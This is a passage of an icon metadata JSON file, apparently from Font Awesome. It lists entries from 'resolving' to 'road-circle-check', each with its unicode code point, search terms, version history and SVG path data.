        "path": "M0 32v448h448V32H0zm262.2 334.4c-6.6 3-33.2 6-50-14.2-9.2-10.6-25.3-33.3-42.2-63.6-8.9 0-14.7 0-21.4-.6v46.4c0 23.5 6 21.2 25.8 23.9v8.1c-6.9-.3-23.1-.8-35.6-.8-13.1 0-26.1.6-33.6.8v-8.1c15.5-2.9 22-1.3 22-23.9V225c0-22.6-6.4-21-22-23.9V193c25.8 1 53.1-.6 70.9-.6 31.7 0 55.9 14.4 55.9 45.6 0 21.1-16.7 42.2-39.2 47.5 13.6 24.2 30 45.6 42.2 58.9 7.2 7.8 17.2 14.7 27.2 14.7v7.3zm22.9-135c-23.3 0-32.2-15.7-32.2-32.2V167c0-12.2 8.8-30.4 34-30.4s30.4 17.9 30.4 17.9l-10.7 7.2s-5.5-12.5-19.7-12.5c-7.9 0-19.7 7.3-19.7 19.7v26.8c0 13.4 6.6 23.3 17.9 23.3 14.1 0 21.5-10.9 21.5-26.8h-17.9v-10.7h30.4c0 20.5 4.7 49.9-34 49.9zm-116.5 44.7c-9.4 0-13.6-.3-20-.8v-69.7c6.4-.6 15-.6 22.5-.6 23.3 0 37.2 12.2 37.2 34.5 0 21.9-15 36.6-39.7 36.6z"
      }
    },
    "free": ["brands"]
  },
  "resolving": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3e7",
    "label": "Resolving",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M281.2 278.2c46-13.3 49.6-23.5 44-43.4L314 195.5c-6.1-20.9-18.4-28.1-71.1-12.8L54.7 236.8l28.6 98.6 197.9-57.2zM248.5 8C131.4 8 33.2 88.7 7.2 197.5l221.9-63.9c34.8-10.2 54.2-11.7 79.3-8.2 36.3 6.1 52.7 25 61.4 55.2l10.7 37.8c8.2 28.1 1 50.6-23.5 73.6-19.4 17.4-31.2 24.5-61.4 33.2L203 351.8l220.4 27.1 9.7 34.2-48.1 13.3-286.8-37.3 23 80.2c36.8 22 80.3 34.7 126.3 34.7 137 0 248.5-111.4 248.5-248.3C497 119.4 385.5 8 248.5 8zM38.3 388.6L0 256.8c0 48.5 14.3 93.4 38.3 131.8z"
      }
    },
    "free": ["brands"]
  },
  "restroom": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7bd"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bathroom", "toilet", "water closet", "wc"]
    },
    "styles": ["solid"],
    "unicode": "f7bd",
    "label": "Restroom",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V325.2c-8.1 9.2-21.1 13.2-33.5 9.4c-16.9-5.3-26.3-23.2-21-40.1l30.9-99.1C44.9 155.3 82 128 124 128h8c42 0 79.1 27.3 91.6 67.4l30.9 99.1c5.3 16.9-4.1 34.8-21 40.1c-12.4 3.9-25.4-.2-33.5-9.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H120zM320 0c13.3 0 24 10.7 24 24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24zM464 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM440 480V384H422.2c-10.9 0-18.6-10.7-15.2-21.1l9-26.9c-3.2 0-6.4-.5-9.5-1.5c-16.9-5.3-26.3-23.2-21-40.1l29.7-95.2C428.4 156.9 467.6 128 512 128s83.6 28.9 96.8 71.2l29.7 95.2c5.3 16.9-4.1 34.8-21 40.1c-3.2 1-6.4 1.5-9.5 1.5l9 26.9c3.5 10.4-4.3 21.1-15.2 21.1H584v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H504v96c0 17.7-14.3 32-32 32s-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M80 48a48 48 0 1 1 96 0A48 48 0 1 1 80 48zm40 304V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V325.2c-8.1 9.2-21.1 13.2-33.5 9.4c-16.9-5.3-26.3-23.2-21-40.1l30.9-99.1C44.9 155.3 82 128 124 128h8c42 0 79.1 27.3 91.6 67.4l30.9 99.1c5.3 16.9-4.1 34.8-21 40.1c-12.4 3.9-25.4-.2-33.5-9.4V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V352H120zM320 0c13.3 0 24 10.7 24 24V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24zM464 48a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM440 480V384H422.2c-10.9 0-18.6-10.7-15.2-21.1l9-26.9c-3.2 0-6.4-.5-9.5-1.5c-16.9-5.3-26.3-23.2-21-40.1l29.7-95.2C428.4 156.9 467.6 128 512 128s83.6 28.9 96.8 71.2l29.7 95.2c5.3 16.9-4.1 34.8-21 40.1c-3.2 1-6.4 1.5-9.5 1.5l9 26.9c3.5 10.4-4.3 21.1-15.2 21.1H584v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V384H504v96c0 17.7-14.3 32-32 32s-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "retweet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f079"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["refresh", "reload", "share", "swap"]
    },
    "styles": ["solid"],
    "unicode": "f079",
    "label": "Retweet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M272 416c17.7 0 32-14.3 32-32s-14.3-32-32-32H160c-17.7 0-32-14.3-32-32V192h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8l32 0 0 128c0 53 43 96 96 96H272zM304 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l112 0c17.7 0 32 14.3 32 32l0 128H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8l-32 0V192c0-53-43-96-96-96L304 96z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M272 416c17.7 0 32-14.3 32-32s-14.3-32-32-32H160c-17.7 0-32-14.3-32-32V192h32c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-64-64c-12.5-12.5-32.8-12.5-45.3 0l-64 64c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8l32 0 0 128c0 53 43 96 96 96H272zM304 96c-17.7 0-32 14.3-32 32s14.3 32 32 32l112 0c17.7 0 32 14.3 32 32l0 128H416c-12.9 0-24.6 7.8-29.6 19.8s-2.2 25.7 6.9 34.9l64 64c12.5 12.5 32.8 12.5 45.3 0l64-64c9.2-9.2 11.9-22.9 6.9-34.9s-16.6-19.8-29.6-19.8l-32 0V192c0-53-43-96-96-96L304 96z"
      }
    },
    "free": ["solid"]
  },
  "rev": {
    "changes": ["5.1.0", "5.1.1", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5b2",
    "label": "Rev.io",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.67 274.89a65.57 65.57 0 1 1-65.56-65.56 65.64 65.64 0 0 1 65.56 65.56zm139.55-5.05h-.13a204.69 204.69 0 0 0-74.32-153l-45.38 26.2a157.07 157.07 0 0 1 71.81 131.84C381.2 361.5 310.73 432 224.11 432S67 361.5 67 274.88c0-81.88 63-149.27 143-156.43v39.12l108.77-62.79L210 32v38.32c-106.7 7.25-191 96-191 204.57 0 111.59 89.12 202.29 200.06 205v.11h210.16V269.84z"
      }
    },
    "free": ["brands"]
  },
  "ribbon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f397"],
        "secondary": ["10f4d6"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "badge",
        "cause",
        "celebration",
        "lapel",
        "pin",
        "reminder",
        "reminder ribbon",
        "ribbon"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4d6",
    "label": "Ribbon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M333.2 322.8l0 0-133.9-146 0 0L146 118.6c7.8-5.1 37-22.6 78-22.6s70.2 17.4 78 22.6L245.7 180l85.6 93.4 27.4-29.8c16.3-17.7 25.3-40.9 25.3-65V149.1c0-19-5.6-37.5-16.1-53.3L327.8 35.6C312.9 13.4 287.9 0 261.2 0h-76c-25.8 0-50.1 12.5-65.1 33.5L81.9 87C70.3 103.2 64 122.8 64 142.8V164c0 23.2 8.4 45.6 23.6 63.1l56 64.2 0 0 83.3 95.6 0 0 91.8 105.3c10 11.5 26.8 14.3 40 6.8l54.5-31.1c17.8-10.2 21.6-34.3 7.7-49.4l-87.7-95.7zM205.2 410.6l-83.3-95.6L27.1 418.5c-13.9 15.1-10.1 39.2 7.7 49.4l55.1 31.5c13 7.4 29.3 4.9 39.4-6.1l75.9-82.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M333.2 322.8l0 0-133.9-146 0 0L146 118.6c7.8-5.1 37-22.6 78-22.6s70.2 17.4 78 22.6L245.7 180l85.6 93.4 27.4-29.8c16.3-17.7 25.3-40.9 25.3-65V149.1c0-19-5.6-37.5-16.1-53.3L327.8 35.6C312.9 13.4 287.9 0 261.2 0h-76c-25.8 0-50.1 12.5-65.1 33.5L81.9 87C70.3 103.2 64 122.8 64 142.8V164c0 23.2 8.4 45.6 23.6 63.1l56 64.2 0 0 83.3 95.6 0 0 91.8 105.3c10 11.5 26.8 14.3 40 6.8l54.5-31.1c17.8-10.2 21.6-34.3 7.7-49.4l-87.7-95.7zM205.2 410.6l-83.3-95.6L27.1 418.5c-13.9 15.1-10.1 39.2 7.7 49.4l55.1 31.5c13 7.4 29.3 4.9 39.4-6.1l75.9-82.6z"
      }
    },
    "free": ["solid"]
  },
  "right-from-bracket": {
    "aliases": {
      "names": ["sign-out-alt"],
      "unicodes": {
        "secondary": ["10f2f5"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "exit", "leave", "log out", "logout", "sign-out"]
    },
    "styles": ["solid"],
    "unicode": "f2f5",
    "label": "Right From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M377.9 105.9L500.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L377.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1-128 0c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM160 96L96 96c-17.7 0-32 14.3-32 32l0 256c0 17.7 14.3 32 32 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-53 0-96-43-96-96L0 128C0 75 43 32 96 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M377.9 105.9L500.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L377.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1-128 0c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM160 96L96 96c-17.7 0-32 14.3-32 32l0 256c0 17.7 14.3 32 32 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-64 0c-53 0-96-43-96-96L0 128C0 75 43 32 96 32l64 0c17.7 0 32 14.3 32 32s-14.3 32-32 32z"
      }
    },
    "free": ["solid"]
  },
  "right-left": {
    "aliases": {
      "names": ["exchange-alt"],
      "unicodes": {
        "secondary": ["10f362"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "exchange",
        "reciprocate",
        "return",
        "swap",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f362",
    "label": "Right Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 96l320 0V32c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l96 96c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-96 96c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160L32 160c-17.7 0-32-14.3-32-32s14.3-32 32-32zM480 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H160v64c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-96-96c-6-6-9.4-14.1-9.4-22.6s3.4-16.6 9.4-22.6l96-96c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 64H480z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 96l320 0V32c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l96 96c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-96 96c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160L32 160c-17.7 0-32-14.3-32-32s14.3-32 32-32zM480 352c17.7 0 32 14.3 32 32s-14.3 32-32 32H160v64c0 12.9-7.8 24.6-19.8 29.6s-25.7 2.2-34.9-6.9l-96-96c-6-6-9.4-14.1-9.4-22.6s3.4-16.6 9.4-22.6l96-96c9.2-9.2 22.9-11.9 34.9-6.9s19.8 16.6 19.8 29.6l0 64H480z"
      }
    },
    "free": ["solid"]
  },
  "right-long": {
    "aliases": {
      "names": ["long-arrow-alt-right"],
      "unicodes": {
        "secondary": ["10f30b"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "long-arrow-right", "next"]
    },
    "styles": ["solid"],
    "unicode": "f30b",
    "label": "Right Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M334.5 414c8.8 3.8 19 2 26-4.6l144-136c4.8-4.5 7.5-10.8 7.5-17.4s-2.7-12.9-7.5-17.4l-144-136c-7-6.6-17.2-8.4-26-4.6s-14.5 12.5-14.5 22l0 72L32 192c-17.7 0-32 14.3-32 32l0 64c0 17.7 14.3 32 32 32l288 0 0 72c0 9.6 5.7 18.2 14.5 22z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M334.5 414c8.8 3.8 19 2 26-4.6l144-136c4.8-4.5 7.5-10.8 7.5-17.4s-2.7-12.9-7.5-17.4l-144-136c-7-6.6-17.2-8.4-26-4.6s-14.5 12.5-14.5 22l0 72L32 192c-17.7 0-32 14.3-32 32l0 64c0 17.7 14.3 32 32 32l288 0 0 72c0 9.6 5.7 18.2 14.5 22z"
      }
    },
    "free": ["solid"]
  },
  "right-to-bracket": {
    "aliases": {
      "names": ["sign-in-alt"],
      "unicodes": {
        "secondary": ["10f2f6"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "enter",
        "join",
        "log in",
        "login",
        "sign in",
        "sign up",
        "sign-in",
        "signin",
        "signup"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2f6",
    "label": "Right To Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M217.9 105.9L340.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L217.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1L32 320c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM352 416l64 0c17.7 0 32-14.3 32-32l0-256c0-17.7-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0c53 0 96 43 96 96l0 256c0 53-43 96-96 96l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M217.9 105.9L340.7 228.7c7.2 7.2 11.3 17.1 11.3 27.3s-4.1 20.1-11.3 27.3L217.9 406.1c-6.4 6.4-15 9.9-24 9.9c-18.7 0-33.9-15.2-33.9-33.9l0-62.1L32 320c-17.7 0-32-14.3-32-32l0-64c0-17.7 14.3-32 32-32l128 0 0-62.1c0-18.7 15.2-33.9 33.9-33.9c9 0 17.6 3.6 24 9.9zM352 416l64 0c17.7 0 32-14.3 32-32l0-256c0-17.7-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32l64 0c53 0 96 43 96 96l0 256c0 53-43 96-96 96l-64 0c-17.7 0-32-14.3-32-32s14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "ring": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f70b"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "Gollum",
        "band",
        "binding",
        "d&d",
        "dnd",
        "engagement",
        "fantasy",
        "gold",
        "jewelry",
        "marriage",
        "precious"
      ]
    },
    "styles": ["solid"],
    "unicode": "f70b",
    "label": "Ring",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 208c0 7.8 4.4 18.7 17.1 30.3C126.5 214.1 188.9 200 256 200s129.5 14.1 174.9 38.3C443.6 226.7 448 215.8 448 208c0-12.3-10.8-32-47.9-50.6C364.9 139.8 314 128 256 128s-108.9 11.8-144.1 29.4C74.8 176 64 195.7 64 208zm192 40c-47 0-89.3 7.6-122.9 19.7C166.3 280.2 208.8 288 256 288s89.7-7.8 122.9-20.3C345.3 255.6 303 248 256 248zM0 208c0-49.6 39.4-85.8 83.3-107.8C129.1 77.3 190.3 64 256 64s126.9 13.3 172.7 36.2c43.9 22 83.3 58.2 83.3 107.8v96c0 49.6-39.4 85.8-83.3 107.8C382.9 434.7 321.7 448 256 448s-126.9-13.3-172.7-36.2C39.4 389.8 0 353.6 0 304V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 208c0 7.8 4.4 18.7 17.1 30.3C126.5 214.1 188.9 200 256 200s129.5 14.1 174.9 38.3C443.6 226.7 448 215.8 448 208c0-12.3-10.8-32-47.9-50.6C364.9 139.8 314 128 256 128s-108.9 11.8-144.1 29.4C74.8 176 64 195.7 64 208zm192 40c-47 0-89.3 7.6-122.9 19.7C166.3 280.2 208.8 288 256 288s89.7-7.8 122.9-20.3C345.3 255.6 303 248 256 248zM0 208c0-49.6 39.4-85.8 83.3-107.8C129.1 77.3 190.3 64 256 64s126.9 13.3 172.7 36.2c43.9 22 83.3 58.2 83.3 107.8v96c0 49.6-39.4 85.8-83.3 107.8C382.9 434.7 321.7 448 256 448s-126.9-13.3-172.7-36.2C39.4 389.8 0 353.6 0 304V208z"
      }
    },
    "free": ["solid"]
  },
  "road": {
    "aliases": {
      "unicodes": {
        "composite": ["1f6e3"],
        "secondary": ["10f018"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "highway",
        "map",
        "motorway",
        "pavement",
        "road",
        "route",
        "street",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f018",
    "label": "Road",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M256 32H181.2c-27.1 0-51.3 17.1-60.3 42.6L3.1 407.2C1.1 413 0 419.2 0 425.4C0 455.5 24.5 480 54.6 480H256V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64H521.4c30.2 0 54.6-24.5 54.6-54.6c0-6.2-1.1-12.4-3.1-18.2L455.1 74.6C446 49.1 421.9 32 394.8 32H320V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M256 32H181.2c-27.1 0-51.3 17.1-60.3 42.6L3.1 407.2C1.1 413 0 419.2 0 425.4C0 455.5 24.5 480 54.6 480H256V416c0-17.7 14.3-32 32-32s32 14.3 32 32v64H521.4c30.2 0 54.6-24.5 54.6-54.6c0-6.2-1.1-12.4-3.1-18.2L455.1 74.6C446 49.1 421.9 32 394.8 32H320V96c0 17.7-14.3 32-32 32s-32-14.3-32-32V32zm64 192v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "road-barrier": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["block", "border", "no entry", "roadblock"]
    },
    "styles": ["solid"],
    "unicode": "e562",
    "label": "Road Barrier",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V266.3L149.2 96H64V64c0-17.7-14.3-32-32-32zM405.2 96H330.8l-5.4 10.7L234.8 288h74.3l5.4-10.7L405.2 96zM362.8 288h74.3l5.4-10.7L533.2 96H458.8l-5.4 10.7L362.8 288zM202.8 96l-5.4 10.7L106.8 288h74.3l5.4-10.7L277.2 96H202.8zm288 192H576V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v53.7L490.8 288z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64V448c0 17.7 14.3 32 32 32s32-14.3 32-32V266.3L149.2 96H64V64c0-17.7-14.3-32-32-32zM405.2 96H330.8l-5.4 10.7L234.8 288h74.3l5.4-10.7L405.2 96zM362.8 288h74.3l5.4-10.7L533.2 96H458.8l-5.4 10.7L362.8 288zM202.8 96l-5.4 10.7L106.8 288h74.3l5.4-10.7L277.2 96H202.8zm288 192H576V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v53.7L490.8 288z"
      }
    },
    "free": ["solid"]
  },
  "road-bridge": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "infrastructure", "road", "travel"]
    },
    "styles": ["solid"],
    "unicode": "e563",
    "label": "Road Bridge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M352 0H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM480 200c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V224c0-13.3-10.7-24-24-24zm24 184c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V384zM480 40c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V64c0-13.3-10.7-24-24-24zM32 96H288v64H248v64h40v96c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V416c0-53-43-96-96-96V224H72V160H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm168 64H120v64h80V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M352 0H608c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM480 200c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V224c0-13.3-10.7-24-24-24zm24 184c0-13.3-10.7-24-24-24s-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V384zM480 40c-13.3 0-24 10.7-24 24v64c0 13.3 10.7 24 24 24s24-10.7 24-24V64c0-13.3-10.7-24-24-24zM32 96H288v64H248v64h40v96c-53 0-96 43-96 96v64c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32V416c0-53-43-96-96-96V224H72V160H32c-17.7 0-32-14.3-32-32s14.3-32 32-32zm168 64H120v64h80V160z"
      }
    },
    "free": ["solid"]
  },
  "road-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "freeway",
        "highway",
        "not affected",
        "ok",
        "okay",
        "pavement",
        "road"
      ]
    },
    "styles": ["solid"],
    "unicode": "e564",
    "label": "Road Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
